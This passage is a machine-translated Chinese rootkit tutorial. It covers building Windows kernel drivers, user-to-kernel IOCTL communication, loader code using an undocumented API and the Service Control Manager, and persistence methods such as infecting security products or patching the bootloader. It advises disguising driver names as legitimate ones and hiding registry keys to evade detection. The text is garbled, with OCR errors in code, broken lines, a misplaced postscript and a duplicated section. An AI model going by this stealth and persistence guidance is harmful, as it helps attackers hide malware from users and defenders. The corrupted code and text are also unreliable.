It is recommended to be C:\myrootkit), and put the file into it. Then the aforementioned "hello world" device driver code is then used to


Copy to this file. Also required is the SOURCES file and the MAKEFILE file.


(1) SOURCES file


The file should be named SOURCES, which consists of all capital letters, without an extension. The SOURCES file should contain the following code:

TARGETNAME=MYDRIVER
TARGETPATH=OBJ
TARGETTYPE=DRIVER
SOURCES=

The TARGETNAME variable controls the naming of the driver. The name may be embedded in the binary file, so TARGETNAME should not take


Names such as MY_EVII_ROOTKIT_IS_GONNA_GET_YOU. Even if the file is renamed later, the above string may still be stored


It is found in the binary file.


A better way to naming a driver is to make it look similar to a legitimate device driver such as MSDIRECTX, MSVID_H424,


IDE_HD41, SOUNDMGR and H323FON.
Many device drivers are already loaded on the computer, sometimes just by checking the list of these existing drivers and their names


With a slight change, you can get an excellent solution.
The TARGETPATH ​​variable is usually set to OBJ, which controls the storage location of the file during compilation. The driver file is usually placed in the current directory.


under the objchk_xxx/i386 subdirectory.
The TARGETTYPE variable controls the compiled file type, and the DRIVER type is used to create the driver.
Listed on the SOURCES statement line. C file list, if multiple lines are used, you need to place "\ at the end of each line (except the last line).


"Symbol. For example:

SOURCES= \
\

★ 


Note that the last line does not end with a backslash character.


The INCLUDES variable is optional, which specifies multiple directories where the include file is located. For example:

INCLUDES= c:\my_includes \
..\..\inc.\
c:\other_includes

If you need to link the library, use the TARGETLIBS variable. Some rootkit drivers use NDIS library, so the line is similar to the following


form:


TARGETLIBS=$( BASEDIR) \lib\w2k\1386\or TARGETLIBS=$(DDK_LIB_ PATH) \ndis. lib


When building an NDIS driver, you may need to look for files on your own system and hardcode the path to that file



The $(BASEDIR) variable specifies the installation directory of DDK. $(DDK_LIB_PATH) specifies the location where the default library is installed. The rest of the path root


It differs depending on the system used and the DDK version.


(2) MAKEFILE file


Finally, create a MAKEFILE file whose names are all made of capital letters and have no extension. Its line of code should contain the following:

!INCLUDE $(NTMAKEENV) \

(3) Run the build utility


MAKEFILE, SOURCES and generated. After the c file, all the rest is in the DDK.


Start checking the build environment, it opens a command shell. Check the build environment that can be in the "Program" of the "Start" menu Windows


A link under the DDK icon group. After opening the command shell for the build environment, change the current directory to the driver directory and enter the task.


Let "build". Ideally. No errors appear, and we get our first driver at this point. A tip:


Keep the full path to the driver directory where it is located does not contain any spaces. For example, you can place the driver in c:\myrootkit


middle.


It can be found in the URL /vault/hoglund/basic_l. Found on zip containing the created MAKEFILE and SOtlRCES


Example of a driver for a file.


(4) Uninstall routine


When creating a driver, pass theDriverObject parameter to the driver's main function. It points to a data containing a function pointer


structure. One of these function pointers is called the "uninstall routine". If an uninstall routine is set, this means that the driver can be uninstalled from memory.


. If this pointer is not set, the driver can load, but will not uninstall. Need to restart the machine to delete the driver from memory





When developing features for the driver, it needs to be loaded and uninstalled several times. So the uninstall routine should be set so that every time you test it


No restart is required when new driver versions.


Setting up an uninstall routine is not difficult. You need to create an uninstall function first and then set an uninstall pointer:

// BASIC DEVICE DRIVER
#include ""
// This is our unload function
VOID OnUnload( IN PDRIVER_OBJECT DriverObject
{
DbgPrint ( "OnUnload called\n") ;
}
NTSTATUS DriverEntry (IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
DbgPrint("I loaded!");
// Initialize the point to the unload function
// in the DriverObject
theDriverObject->DriverUnload - OnUnload;
return STATUS_SUCCESS;
}

At this point, you can safely load and uninstall the driver without restarting the machine.


3.5 The integration of user mode and kernel mode


Rootkit can easily include both user mode and kernel mode components. The user mode partly completes most functions such as networking and remote control


while the kernel mode part performs stealth and access.
Most rootkits require kernel-level sabotage activity, while also providing complex features. Because of these complex features, it may contain programs


Flaws and also require the use of the system's API library, so the user mode approach is the preferred method.
User-mode programs can communicate with kernel-level drivers in a variety of ways. One of the most common ways is to use I/O Control (IOCTL)


)Order. IOCTL commands are command messages that can be defined by programmers.


3.5.1 I/O request message


A device driver concept that needs to be understood is I/O request packet (l/O Request Packet, IRP), which only contains data buffers.


data structure. In order to communicate with user-mode programs, Windows device drivers usually need to process IRP. In user mode


The program can open a file handle and write information to it. In the kernel, this write operation is represented as an IRP. Therefore, if the user


The program in mode writes the string "HELLO DRIVER!" into the file handle, and the kernel will create a buffer and characters.


String "HELLO DRIVER!" IRP. Communication between user mode and kernel mode can be performed through these IRPs.


In order to operate an IRP, the kernel driver must include the IRP's handling functions. Just like the installation of the uninstall routine, just the driver


Set appropriate function pointers in the image:

NTSTATUS OnStubDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
lrp->=STATUS_SUCCFSS;
IoCompleteRequest (Irp, IO_NO_INCREMENT );
return STATUS_SUCCESS;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("OnUnload called\n");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )

int i;
theDriverObject->DriverUnload = OnUnload;
for(i=O;i< IRP_MJ_MAXIMUM_FUNCTION; i++ )
{
theDriverObject->MajorFunctiori[i] = OnStubDispatch;
}
return STATUS SUCCESS;
★ 


In actual drivers, it is very likely that a separate function will be created for each main function. For example, suppose you want to deal with READ and WRITE matters


. These events are activated when a user-mode program uses a driver handle to call ReadFile or WriteFile. More complete drive


The program will also handle other functions, such as closing the file or sending IOCTL commands, etc. The following is a set of examples of the main function pointer:

DriverObject->MajorFunction[IRP_MJ_CREATE] = MyOpen;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = MyClose;
DriverObject->MajorFunction[IRP_MJ_READ] = MyRead;
DriverObject->MajorFunction[IRP_MJ_WRITE] = MyWrite;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyIoControl;

For each processed main function, the driver needs to specify a function to be called. For example, the driver might contain the following


number:

NTSTATUS MyOpen(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
// do something
...
return STATUS_SUCCESS;
}
NTSTATUS MyClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
// do something
...
return STATUS_SUCCESS;
}
NTSTATUS MyRead(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
// do something
...
return STAIUS_SUCCESS;
}
NTSTATUS MyWrite(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
// do something
...
return STATUS_SUCCESS;


}
NTSTATUS MyIOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
PIO_STACK_LOCATION IrpSp;
ULONG FunctionCode;
IrpSp = IoGetCurrentIrpStackLocation (Irp) ;
FunctionCode= IrpSp-> . IoControlCode;
switch (FunctionCode)
{
// do something
...
}
return STATUS_SUCCESS;
}

3.5.2 Create a file handle


Another concept that needs to be understood is file handles. In order to use the kernel driver from a user-mode program, the user-mode program must


Open a driver handle. This can only be done if the driver has registered a specified device. Once registration is complete,


User-mode programs can open the specified device like a file. This is very similar to how devices work on many UNIX systems—


Treat all devices like files.


For our example, the kernel driver uses the following code to register the device:

const WCHAR deviceNameBuffer[] =L¨\\Device\\MyDevice";
PDEVICE_OBJECT g_rootkitDevice; //Global pointer to our device object
NTSTATUS DriverEntry ( IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath )
{
NTSTATUS ntStatus;
UNICODE_STRING deviceNameUnicodeString;
// Set up our name and symbolic link.
RtlInitUnicodeString (&deviceNameUnicodeString,deviceNameBuffer ) ;
// Set up the device.
//
ntStatus = IoCreateDevice ( DriverObject,
0, // For driver extension
&deviceNameUnicodeString
0x00001234
0,
TRUE,
&g_rootkitDevice );
...

In the above code snippet, the DriverEntry routine creates a device named MyDevice, note that it uses completely in the function call


Qualiricd path:

const WCHAR deviceNameBuffer [] = L" \\Device\\MyDevice";

The prefix "L" means that the string is defined in UNICODE encoding. This is what the API call requires. Once the device is created, the user-mode program can


Open it like a file:

hDevice = Create File ( "\\\\Device\\MyDevice",
GENERIC_READ ( GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if ( hDevice == ((HANDLE) -1) )
return FALSE;

Once the file handle is opened, it can act as a parameter in user-mode functions such as ReadFile and WriteFile, and can also be used to enter the


Line IOCTL calls, these operations will cause the IRP to be processed in the driver.


It is easy to open and use file handles from user mode. The following analysis shows how to make file handles easier to use through symbolic links.


3.5.3 Adding symbolic links


The third important concept about device drivers is symbolic links. In order to facilitate user-mode programs to open file handles, some drivers


The sequence uses symbolic links, which is not necessary, but is beneficial: symbolic names are easier to remember. This driver creates a


The device then calls IoCreateSymbolicLink to create symbolic links, some rootkits use this technique.

const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\vicesys2";
const WCHAR deviceNameBuffer[] = L"\\Device\\vicesys2";
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
UNICODE_STRING deviceNameUnicodeString;
UNICODE_STRING deviceLinkUnicodeString;
// Set up our name and symbolic link.
RtlInitUnicodeString (&deviceNameUnicodeString,
deviceNameBuffer ) ;
RtlInitUnicodeString (&deviceLinkUnicodeString,
deviceLinkBuffer ) ;
// Set up the device
//
ntStatus = IoCreateDevice ( DriverObject,
0, // For driver extension
&deviceNameUnicodeString,
FILE DEVICE_ROOTKIT,
0,
TRUE,
&g_rootkitDevice ) ;
if ( NT_SUCCESS (ntStatus)) {
ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
&deviceNameUnicodeString );
★ 
After the symbolic link is created, the user-mode program can use the string "\\.\MyDevice" to open the device handle. Whether to create a symbol


The number link is not actually important, it just makes it easier for user-mode code to find the driver, but it is not necessary.

hDevice = CreateFile ( " \\\\ . \\MyDevice",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if ( hDevice == ((HANDLE) -1) )
return FALSE;

We have discussed how to use file handles to communicate between user mode and kernel mode. Here is how to load device drivers


sequence.


3.6 Loading rootkit


Inevitably, it is necessary to load the driver from a user-mode program. For example, you would like to replicate a deployment when you hack into a computer system.


program, which loads rootkit into the kernel at runtime. The loader will usually unzip a copy of the .sys file to the hard disk, and


Then issue a command to load it into the kernel. Of course, to make these operations effective, the program must run with "administrator" permissions. Will drive


There are many ways to load a program into the kernel. The following details two effective methods: quick and dirty method and correct method


"(The Right Way)".


3.6.1 Habitual way


Drivers can be loaded into the kernel without creating any registry keys through API calls not described in the documentation. This


The problem with the method is that the driver is pageable. The pageable refers to the memory that can be exchanged on the disk. If the driver is pageable,


Then any of its components can be page-swapped (i.e. swapped from memory to disk). Sometimes when the memory is swapped out by the page, it is no longer accessible


It, attempts to access it can lead to a system crash of infamous -- Blue Screen of Death (BSOD).


The only way this loading method is to design it specifically around the paging problem.


An example of rootkit using this loading method is migbot, which can be obtained from the website. migbot is very simple, it will


All operation codes are copied to the unpatched memory pool, so the fact that the driver is paging will not affect the action performed by migbot


do.


The source code of migbot can be downloaded from the URL /vault/hoglund/.


The loading method is commonly called SYSTEM LOAD AND CALL IMAGE, because this is the name of the API call that is not described in the documentation,


The loading code of migbotloader is as follows:



// load a sys file as a driver using undocumented method
bool load_sysfile()
{
SYSTEM_LOAD AND CALL_IMAGE Gregslmage;
WCHAR daPath[] = L"\\??\\C:\\";
/
// get DLL entry points
/
if ( ! (RtlInitUnicodeString = (RTLINITUNICODESTRING)
GetProcAddress ( GetModuleHandle ( "")
, "RtlInitUnicodeString"
)))
{
return false;
if(! (ZwSetSystemlnformation = (ZWSETSYSTEMINFORMATION)
GetProcAddress (
GetModuleHandle ( "")
, "ZwSetSystemInformation" )))
return false;
}
RtlInitUnicodeString (& (),daPath);
if (!NT SUCCESS (
ZwSetSystemlnformation (SystemLoadAndCalllmage,
&Gregs Image,
sizeof(SYSTEM_LOAD_AND_CALL_IMAGE))))
{
return false;
return true;

The above code runs in user mode, and the .sys file used is C:\.


migbot does not provide uninstall features. After it is loaded, it can only be uninstalled when the system restarts. It can be regarded as "no after sending it


The advantage of this method is that its relatively complete protocol is more secret, and the disadvantage is that it makes the rootkit


Design complexity. This is a good workaround for migbot: but for complex rootkits with many hooks, support


This method requires too much overhead.


3.6.2 The correct way


The correct way to load the established driver is to use Service Control Manager (SCM).


Creates a registry key that is not paginated when the driver is loaded through SCM. This means callback functions, IRP processing functions, and their


His important code will not disappear from memory, will not be swapped out by pages, nor will it cause a blue screen of death, which is a good feature.


The following example code loads any driver based on the name through the SCM method. It registers and starts the driver. You can follow your own wishes


Wish to reference this code in your own loader:

bool _util_load_sysfile(char theDriverName)
{
char aPath[1024];
char aCurrenDirectory[5 1 5];
SC_HANDLE sh=OpenSCManager(NULL, NULL,
SC_MANAGER_ALL_ACCESS);
if(!sh)
{
return false;
}
GetCurrentDirectory( 512, aCurrentDirectory);
_snprintf(aPath,
1022,
¨%S\\%",
aCurrentDirectory,
theDriverName),
printf ("loading %s、n¨, aPath);
SC_HANDLE th = CreateService(sh,
theDriverName,
theDriverName,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
aPath


NULL,
NULL,
NULL,
NULL,
NULL) ;
if ( ! rh)
{
if (GetLastError() == ERROR_SERVICE_EXISTS)
{
}
else
{
// service exists
th = OpenService (sh,
theDriverName,
SERVICE_ALL_ACCESS) ;
if ( ! rh)
{
CloseServiceHandle (sh) ;
return false;


CloseServiceHandle (sh);
return false;
}
// start the drivers
if (rh)
{
if(0 == StartService(rh,0,NULL))
{
if(ERROR_SERVICE_ALREADY_RUNNING == GetLastError())
{
// no real problem
)
e
CloseServiceHandle (sh) ;
CloseServiceHandle ( rh) :
return false;
}
}
CloseServiceHandle ( sh) ;
CloseServiceHandle ( rh) ;
}
return true;
}

So far, two methods have been learned to load drivers or rootkits into core memory, and all permissions of the OS are in hand.


3.7 Test after system restart


The rootkit driver must be loaded at system startup. When considering this issue in general, you can find that the system will load when it starts.


Many different software components will also load in as long as the rootkit is associated with a startup event below.


(1) Use the registry key "run" (ancient reliable method)


The registry key "run" (and its derived keys) can be used to load any program at startup, it can also decompress the rootkit and load it,


After the rootkit is loaded, the value of the registry key "run" can be hidden, making it impossible to detect itself. All virus scanners check this key.


Therefore, this approach is highly risky. However, once the rootkit is loaded, the value of that key can be hidden.


(2) Use * horses or infected files


Similar to the way of virus-infecting files, any .sys file or executable file loaded at startup can be replaced and loaded.


The code can also be entered. Ironically, one of the best targets for infection is a virus scan or a safe product. Safety products usually


Start running at the system startup, the * DLL can be entered into the search path, or simply replace or "infect" the existing one


DLL.


(3) Use .ini files


.ini files can be modified to execute programs, and many programs have initialization components that can run commands at startup or specify to load


The example of the DLL, file used in this way is.


(4) Register as a driver


rootkit can register itself as a driver loaded at startup, which requires creating a registry key, once the rootkit is loaded,


You can also hide the table keys.


(5) Register as an additional component to existing programs


One common method for spyware is to add extensions to web browsing applications (for example, disguised as a search bar). Add in the app


The extension is also loaded during loading. This method requires starting the corresponding application, but if the application can be started before the rootkit is required.


For programs, this method is effective for loading rootkits. Its flaw is that there are already many adware scanners, they can


These extensions of the application can be detected.


(6) Modify the kernel on the disk


The kernel can be modified directly and saved to disk. The boot program must be modified in multiple places so that the kernel can pass the checksum


integrity check. This approach is very effective because the kernel is permanently modified and there is no need to register a driver.


(7) Modify the boot program


You can modify the bootloader and patch it before the kernel is loaded. The advantage of this method is that the kernel file book is performed when the system is offline analyzed.


No modification can be seen. However, modifications to the bootloader can still be detected using the appropriate tools.


There are many ways to load at startup, and the above is only part of it. As long as you use your creativity to think, you will definitely think of better additions.


loading method.


4.3 Memory page


All memory is divided into pages, as if it is in one book. —A page can only store a fixed number of characters, and each process can have it


A separate lookup table to find these memory pages.


Think of memory as a huge library where each process has its own card directory for querying, different query tables


This causes the memory view to be viewed completely different from each process. Therefore, a process can read out the contents of memory address 0x00401122


It is "GREG", and another process reads out the content of the same memory address, which can be "JAMIE", each process has a unique memory "view


”。


Access control machine is made for memory pages, continue to use metaphors about libraries, assuming that the CPU is a domineering librarian, one into


Cheng is only allowed to view several books in the museum. In order to read out or write to memory, the process must first find the correct "book" for the memory being processed


”, and then find the exact "page" and if the CPU does not approve the requested book or page, the access is denied.


The query process of finding pages in this way is time-consuming and complex, and access control is implemented in multiple stages. First, CPU check


Check whether the process can open the book being processed (descriptor check), and then the CPU checks whether the process can read out specific chapters in the book.


(Page directory check), and finally the CPU checks whether the process can read out a specific page in the chapter (page check), which is quite huge work


quantity.


Only when the process passes all security checks can a page be read. Even if the CPU checks pass, the page may also be marked as read-only


nature. This means that the process can read out the page, but cannot write to it. The integrity of the data is maintained in this way.


The rootkit developers are like savages in the library trying to scribble all of these books - so we have to do as much as possible


Learn about operating access control.


4.3.1 Memory access check


In order to access the memory surface, the x86 processor performs the following checks in turn:


Descriptor (or segment) check: Usually, you want to access the global descriptor table (GDT) and check the segment descriptor. Description of paragraph


A character contains a value called the Descriptor Privilege Level (DPL). DPL contains what is required to call the process


Ring number (0 to 3). If the DPL requirement is lower than the ring level of the calling process (sometimes called the current privilege level (Current Privilege Level)


, CPL)), then access is denied and memory check terminates.


Page directory check: The user/super user bit needs to be checked for the entire page table (i.e. the entire memory page range). If this bit is set to 0, only "


Superuser" program (rings O, l and 2) can access this memory page range. If the calling process is not a "superuser", the memory check terminates


. If this position is set to 1, any program can access the memory page range.


Page Check: Perform this check on a single memory page. If the page directory check has been successfully passed, the single page being processed is paged.


examine. Similar to the page directory, you need to check a user/super user bit for each page. If this bit is set to O, only "superuser"


"Programs (rings O, l and 2) can access this page: If this bit is set to 1, any program can access this page. Only when the process can


It can access the memory page only if it arrives and passes this check and has no access prohibited.


Windows series operating systems do not really use descriptor checking. Instead, Windows only relies on ring 0 and ring 3 (sometimes called kernel mode


and user mode). Therefore, access to memory can be controlled using only the user/super user bundle in page table checking. Kernel-mode program


Running to loop 0 always allows memory to be accessed. User-mode programs run on ring 3 and can only access memory marked "user".


4.3.2 Pagination and address conversion


The purpose of the memory protection mechanism is not limited to security. Most modern operating systems support virtual memory, which makes every program on the system have


Your own address space. It also allows the program to use much more memory than it actually is available. For example, a RAM size of 256 MB


The computer does not limit the use of only 256MB of memory per program. The program can easily use 1GB of memory if needed. Extra interior


Save it only in a paging file (pagingrile) stored on disk. Virtual memory allows multiple processes to use more than the installed objects in the total amount of memory


The RAM is executed simultaneously, and each process has its own memory space.


Memory pages can be marked as paged out, i.e. stored on disk instead of RAM. When searching for this memory, the processor will


Will be interrupted. The interrupt handler reads the page back into memory and marks it as a paged in. At any given moment,


Most systems only allow page swaps in a small portion of all available memory. Computers with less physical RAM need a very often accessed computer


Large paging file. Conversely, the more physical RAM, the less paging files are accessed.


Whenever a program reads memory, an address must be specified. For each process, this address must be converted to the actual physical memory address.


This is important: the address used by the process does not match the actual physical address where the data resides. The correct object needs to be identified through the conversion routine


Manage storage location.


For example, if the memory content of the virtual address 0x0041FF1O is searched, the actual physical address can be converted to, for example, 0x0IEE2F10


. If the command "mov eax, 0x0041FF10" is executed, the value read into EAX will actually be stored in the physical address.


0x01EE2F10. This address is converted from a virtual address to a physical address.


4.3.3 Multiple processes use multiple page directories


In theory, the operating system can maintain multiple processes, memory protection between processes, and paging files on disk through a single page directory. but


Yes, if only one page directory exists, then virtual storage will have only one conversion map. This means that all processes must share a memory space


. In Windows NT/2000/XP/2003 systems, each process has its own memory space—they are not shared.


The starting address of most executables is 0x00400000. How multiple processes can use the same virtual address without being physically


A conflict occurred in existence? The answer is to use multiple page directories.


Each process on the system maintains a unique page directory and has its own private CR3 register value, which means that each process has a


Independent and unique virtual memory map. Therefore, two different processes can access the memory address 0x0040000 at the same time, but convert it into two


Independent physical memory address. This is also why one process cannot view the memory of another process.


Although each process has a unique page table, usually all processes map the memory space on 0x7FFFFFFF. The memory


The scope is reserved for the kernel, and kernel memory is consistent no matter which process is running.


Even when running at the ring O level, there is an active process context that includes the machine state of the process (such as saved register values


), process environment, process security token and other parameters. For ease of discussion, it also contains the CR3 register, thus also the


Page directory of dynamic process. Rootkit developers should consider that changes to the process page table will not only affect the process in user mode, but will also


This process affects the kernel when it is in context, which can be used for advanced stealth techniques.


4.3.4 Processes and threads


Rootkit developers should know that the main mechanism for managing running code is threads, not processes, and the Windows kernel is based on threads rather than


The number of processes is scheduled. If there are two processes: one single thread and the other has 9 threads, the system will be each


When a thread allocates 10% of the processing, a single-threaded process can only obtain 10% of the CPU, while a process with 9 threads will obtain 90% of the time.


between. Of course, this is a man-made example, as other factors (such as priority) also play a role in the scheduling process, but the following facts still


Existence: When all other factors are the same, the scheduling work is based entirely on the number of threads, not the number of processes.


What is a process? In a Windows system, processes are just one way for a group of threads to share the following data:


Virtual address space (i.e. the value of CR3).
Access token, including SID.
The handle table of Win32 kernel objects.
Working set (physical memory "owned" by the process).


The rootkit must handle threads and thread structures for multiple purposes (such as stealth and code injection). It does not have to create a new process, but creates a new one


Threads and assign them to existing processes, there are very few cases where you need to create a completely new process.


When switching to the context of a new thread, the state of the old thread is saved, each thread has its own kernel stack, so the line is


The process state is pushed to the top of the thread kernel stack. If the new thread belongs to another process, the page directory address of the new process is loaded into CR3.


. The page directory address can be found in the process's KPROCESS structure. Once the kernel stack of a new thread is found, it will be popped from the item of the stack.


Out the context of the new thread and start executing the new thread. If rootkit modifies the page table of the process, the modification will apply to all the process


threads, because these threads all share the same CR3 value.


V. Notes


5.1 Postscript


At this point, the basic introduction to rootkit has come to an end. I originally wanted to write a complete interpretation of RK, but because of the recent


I was attacked and could not obtain some important information and codes, so I could only write this article with the information in my hand, so "Details"


"RK" became "RK Basics". After recovery, I will write an article "RK Advanced Skills" and add this article to the same set.


As mentioned earlier, "rootkit is not inherently evil, nor is it always used by hackers. rootkit is just a technology, understand this


Points are very important. The intention of good or evil depends on the person who uses them. "I hope everyone can remember this, then this article will


It makes sense.


5.2 References
"Windows Kernel Principles and Implementation" Pan Aimin Electronics Industry Press
"Rootkits - Security Protection of Windows Kernel" (US) Greg Hoglund, (US) James Butler Tsinghua University Press
"The Decisive Battle with Malicious Code" (US) Ed Skoudis Lenny Zelter Electronics Industry Press
"Software Debugging" Zhang Yinkui Electronics Industry Press
"Night Reading of the Heavenly Book - From Assembly Language to Windows Kernel Programming" Tan Wen, Shao Jianlei Electronic Industry Publishing House
"Modern Operating System" (Netherlands)
"The Hacker Disassembly Revealed" Second Edition (Russia) Chris Kaspersky Electronics Industry Press and many other materials.


4. Hardware-related issues


Software and hardware are inseparable. Without software, hardware is just a lifeless silicon crystal; without hardware, software cannot exist.


Software ultimately controls the computer, but under the appearance, the software code is implemented by hardware.


In addition, hardware is the ultimate implementation component of software security. Without hardware support, the software will be completely unsafe, and many information is introducing the software


The underlying hardware has never been mentioned during development, which may be enough for enterprise application developers, but for rootkit developers


No, rootkit developers need to face reverse engineering problems, manual coding assembly language, and high-tech software tools on the system


Sex attacks, understanding the underlying hardware can help solve these problems.


All access control is ultimately implemented by hardware, for example, the popular process isolation concept in Intel x86


The hardware is implemented through the "ring" mechanism. If Intel's CPU does not have an access control mechanism, all software executed on the system will be


Will be trusted, which means that any program crash may cause the entire system to crash, and any program can read and write hardware and access any


Means files, or modify the memory of other processes. This sounds familiar, even though Intel series processors have a history of access control capabilities


For many years, but Microsoft didn't take advantage of these capabilities until the release of Windows NT.


4.1 Ring Level 0


The Intel x86 microchip series uses the ring concept to implement access control. The ring has 4 levels: ring 0 is the highest privilege and ring 3 is the lowest privilege.


. Each ring is saved internally as a digital, and there is actually no real physical ring on the microchip.


All kernel code in the Windows operating system runs on the ring O level. Therefore, rootkits running in the kernel are also considered as ring


Run on O level. User-mode programs that are not running in the kernel (such as spreadsheet software programs) are sometimes called ring level 3 programs. include


Many operating systems, including Windows and Linux, use only ring O and ring 3 on Intel x86 microchips, and not ring 1 and ring 2. Because


The permissions and the ability of the central ring 0 are the highest, so for rootkit developers, it is a good idea to claim that their code is running at the ring 0 level.


A proud display.


The CPU is responsible for tracking the allocation of rings to software code and memory and implementing access restrictions between rings. Usually, every software program will get


Get a ring number, which cannot access any ring with smaller numbers. For example, the program of ring 3 cannot access the program of ring 0, if the program of ring 3 is


If you try to access the memory of ring 0, the CPU will issue an interrupt. In most cases, the operating system will not allow such access,


Trials may even lead to the termination of the attack program.


A large amount of code controls this access restriction behind the scenes, and some code allows programs to access lower-numbered rings under specific environments. For example,


In order to load the printer driver into the kernel, the administrator program (ring level 0) needs to access the loaded device driver (at the loop level O)


in the kernel). However, after the kernel-mode rootkit is loaded, its code executes at the ring O level, these access restrictions will no longer be a question


question.


Many tools that may detect rootkit run at the Ring 3 level as administrator programs, rootkit developers should understand how to use it


The fact that rootkit has higher permissions than management tools. For example, rootkit can use this fact to hide itself from the tool or cause tool loss


effect. In addition, rootkits are usually installed by loaders, which are applications of ring level 3, in order to load rootkits into


In the kernel, these loaders use special function calls, allowing them to access the ring 0 level.


In addition to memory access restrictions, there are other security mechanisms. Some instructions are privileged and can only be used at ring level 0. These instructions


Usually used to change the behavior of the CPU, or to directly access the hardware. For example, the following x86 instructions are only allowed at the ring O level:

cli—Stop interrupt processing (on the current CPU)
sti—Response to start interrupts (on the current CPU)
in—Read data from hardware port
out—Write data to hardware port

There are many benefits to executing rootkits at the ring 0 level. Such rootkits can not only manipulate hardware, but also operate the running rings of other software.


This is critical for stealth operations on the computer.


After discussing how the CPU implements access control, the following analysis is how the CPU tracks important data.


4.2 CPU tables and system tables


In addition to tracking the information of the ring, the CPU is also responsible for making many other decisions. For example, the CPU must decide when an interrupt occurs, the software program


Crash, hardware issues attention signals, user-mode programs try to communicate with kernel-mode programs, and multi-threaded programs need to switch threads


Action to be performed. Obviously the operating system code has to handle such things, but the CPU always handles them first.


For each important event, the CPU must indicate the software routine used to handle the event. Since all software routines exist in memory,


It is necessary for the CPU to store the addresses of important software routines. More specifically, the CPU needs to know where to find the address of the important software routine


. All addresses cannot be stored internally by the CPU, so it must query its values, and this operation is completed through the address table. When interruption and other events


When this occurs, the CPU querys the event in a table and looks for the corresponding address of a software that handles the event. The only information the CPU needs is


The base address of these tables in memory.


There are many important CPU tables, including:


Global Descriptor Table (GDT), used to map addresses.
Local Descriptor Table (LDT), used to map addresses.
Page Directory, used to map addresses.
LIJ break descriptor table (lnterrupt Descriptor Table, IDT), used to find interrupt handlers.


In addition to CPU tables, the operating system itself also saves a batch of tables. The CPU does not directly support these tables implemented by the OS, so the OS passes special functions


and code to manage them. One of the important tables is:


System Service Dispatch Table (SSDT)


Windows OS uses these tables for processing system calls for multiple uses. The following sections describe these tables and analyze how they work


, and some suggestions are given for rootkit developers to modify or hook these tables in order to provide stealth operations or capture data.


4. Hardware-related issues


Software and hardware are inseparable. Without software, hardware is just a lifeless silicon crystal; without hardware, software cannot exist.


Software ultimately controls the computer, but under the appearance, the software code is implemented by hardware.


In addition, hardware is the ultimate implementation component of software security. Without hardware support, the software will be completely unsafe, and many information is introducing the software


The underlying hardware has never been mentioned during development, which may be enough for enterprise application developers, but for rootkit developers


No, rootkit developers need to face reverse engineering problems, manual coding assembly language, and high-tech software tools on the system


Sex attacks, understanding the underlying hardware can help solve these problems.


All access control is ultimately implemented by hardware, for example, the popular process isolation concept in Intel x86


The hardware is implemented through the "ring" mechanism. If Intel's CPU does not have an access control mechanism, all software executed on the system will be


Will be trusted, which means that any program crash may cause the entire system to crash, and any program can read and write hardware and access any


Means files, or modify the memory of other processes. This sounds familiar, even though Intel series processors have a history of access control capabilities


For many years, but Microsoft didn't take advantage of these capabilities until the release of Windows NT.


4.1 Ring Level 0


The Intel x86 microchip series uses the ring concept to implement access control. The ring has 4 levels: ring 0 is the highest privilege and ring 3 is the lowest privilege.


. Each ring is saved internally as a digital, and there is actually no real physical ring on the microchip.


All kernel code in the Windows operating system runs on the ring O level. Therefore, rootkits running in the kernel are also considered as ring


Run on O level. User-mode programs that are not running in the kernel (such as spreadsheet software programs) are sometimes called ring level 3 programs. include


Many operating systems, including Windows and Linux, use only ring O and ring 3 on Intel x86 microchips, and not ring 1 and ring 2. Because


The permissions and the ability of the central ring 0 are the highest, so for rootkit developers, it is a good idea to claim that their code is running at the ring 0 level.


A proud display.


The CPU is responsible for tracking the allocation of rings to software code and memory and implementing access restrictions between rings. Usually, every software program will get


Get a ring number, which cannot access any ring with smaller numbers. For example, the program of ring 3 cannot access the program of ring 0, if the program of ring 3 is


If you try to access the memory of ring 0, the CPU will issue an interrupt. In most cases, the operating system will not allow such access,


Trials may even lead to the termination of the attack program.


A large amount of code controls this access restriction behind the scenes, and some code allows programs to access lower-numbered rings under specific environments. For example,


In order to load the printer driver into the kernel, the administrator program (ring level 0) needs to access the loaded device driver (at the loop level O)


in the kernel). However, after the kernel-mode rootkit is loaded, its code executes at the ring O level, these access restrictions will no longer be a question


question.


Many tools that may detect rootkit run at the Ring 3 level as administrator programs, rootkit developers should understand how to use it


The fact that rootkit has higher permissions than management tools. For example, rootkit can use this fact to hide itself from the tool or cause tool loss


effect. In addition, rootkits are usually installed by loaders, which are applications of ring level 3, in order to load rootkits into


In the kernel, these loaders use special function calls, allowing them to access the ring 0 level.


In addition to memory access restrictions, there are other security mechanisms. Some instructions are privileged and can only be used at ring level 0. These instructions


Usually used to change the behavior of the CPU, or to directly access the hardware. For example, the following x86 instructions are only allowed at the ring O level:

cli—Stop interrupt processing (on the current CPU)
sti—Response to start interrupts (on the current CPU)
in—Read data from hardware port
out—Write data to hardware port

There are many benefits to executing rootkits at the ring 0 level. Such rootkits can not only manipulate hardware, but also operate the running rings of other software.


This is critical for stealth operations on the computer.


After discussing how the CPU implements access control, the following analysis is how the CPU tracks important data.


4.2 CPU tables and system tables

